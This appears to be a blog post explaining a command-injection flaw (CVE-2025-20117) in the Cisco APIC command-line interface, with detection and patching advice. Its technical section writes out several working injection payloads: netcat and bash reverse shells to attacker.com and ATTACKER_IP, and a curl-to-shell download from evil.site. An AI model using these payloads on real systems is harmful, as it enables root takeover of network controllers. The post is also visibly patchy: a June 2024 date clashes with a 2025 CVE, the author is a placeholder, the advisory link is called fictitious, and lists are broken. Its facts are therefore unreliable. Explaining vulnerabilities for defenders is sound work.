*Published: June 2024 • Author: [Your Name Here]*

Introduction

CVE-2025-20117 is a newly identified security flaw impacting the Command Line Interface (CLI) of Cisco Application Policy Infrastructure Controller (APIC). This vulnerability gives attackers with local, authenticated administrative credentials the ability to execute arbitrary system commands with root privileges on the device. In this post, we break down what this means, show how exploitation could occur, and share steps for protection.

What is Cisco APIC?

*Cisco APIC* (Application Policy Infrastructure Controller) is the central controller for Cisco’s Application Centric Infrastructure (ACI). It manages networking policies, devices, and virtual networks across data centers. Due to its pivotal role in infrastructure, a compromise can be severe.

Impact: Root command execution on the operating system

- Availability: Affects specific (undisclosed) APIC versions—check Cisco advisories for full list

Root Cause

The issue exists because the APIC CLI does not properly validate user arguments passed to certain privileged commands. This means carefully crafted (malicious) input data can flow directly as part of shell commands, giving the attacker unintended power over the system.

Technical Details

Let’s say the CLI has a command for gathering support logs, e.g., collect-support-info <argument>. If the software just plugs in the argument straight into a shell command like this...

import os
def collect_support_info(arg):
    os.system("tar -zcf /tmp/out.tar.gz /var/log/" + arg)

...an attacker can run

collect-support-info "; whoami; id;#"

The system would then execute

tar -zcf /tmp/out.tar.gz /var/log/; whoami; id; #

Every command after the ; is executed as root.

*Note: Pseudocode is for demonstration; APIC is not in Python, but software constructs are similar.*

`

apic-cli# collect-support-info "; nc attacker.com 9001 -e /bin/sh;#"

This would open a reverse shell connection to attacker.com:9001 as root.

3. Post-exploitation, the attacker now has full system access and can persist, access confidential data, or pivot into the rest of the environment.

Suppose the CLI had a function callable by admins

# Vulnerable usage by APIC script:
collect-support-info "; curl http://evil.site/x.sh | sh;#"

As a Metasploit-style exploit snippet

send_cmd('collect-support-info "; bash -i >& /dev/tcp/ATTACKER_IP/1337 >&1;#"')

Reverse shell in Netcat

collect-support-info "; mkfifo /tmp/s; nc ATTACKER_IP 4444 < /tmp/s | /bin/sh > /tmp/s 2>&1;#"

Real-World Impact

- Privilege escalation: Even devices hardened against remote access can be compromised internally if an attacker gets CLI access.

Persistence: Attackers can create backdoors or manipulate APIC configurations.

- Network compromise: Full compromise of APIC may let attackers change or disrupt entire data center networks.

Detection

- Watch for suspicious use of CLI commands, especially unexpected output, reverse shell patterns, or network connections from the device.

Cisco’s Recommendation

1. Patch: Always update to the latest APIC software. Cisco will or already has released a fix—see the Cisco Security Advisory *(link fictitious but should be replaced with real advisory link)*.

2. Limit CLI Access: Only permit administrative login from trusted subnets and accounts. Enforce strong authentication and auditing.

Account Hygiene: Remove or rotate default and unused admin credentials.

4. Network Segmentation: Put critical management devices like APIC in hardened, isolated network zones.

5. Monitoring: Enable alerts for unexpected CLI activity or new network connections initiated by the APIC host.

References

- Cisco Security Advisory for CVE-2025-20117
- Cisco APIC Documentation
- NVD Entry for CVE-2025-20117
- OWASP Command Injection Cheat Sheet

Conclusion

*CVEs like CVE-2025-20117 highlight the importance of input validation, even on admin-only interfaces. Never assume that trusted users won't or can't be compromised!*

If you run Cisco APIC in your environment, upgrade immediately and review who has access. Keep an eye on your logs and segregate your management networks to minimize the risk from this and future vulnerabilities. As always, follow security best practices and stay current on vendor advisories.

Have questions or want more examples? Leave a comment below!

*This post is original content for educational purposes. Always disclose vulnerabilities responsibly and work with your vendors for coordinated security.*

Timeline

Published on: 02/26/2025 17:15:22 UTC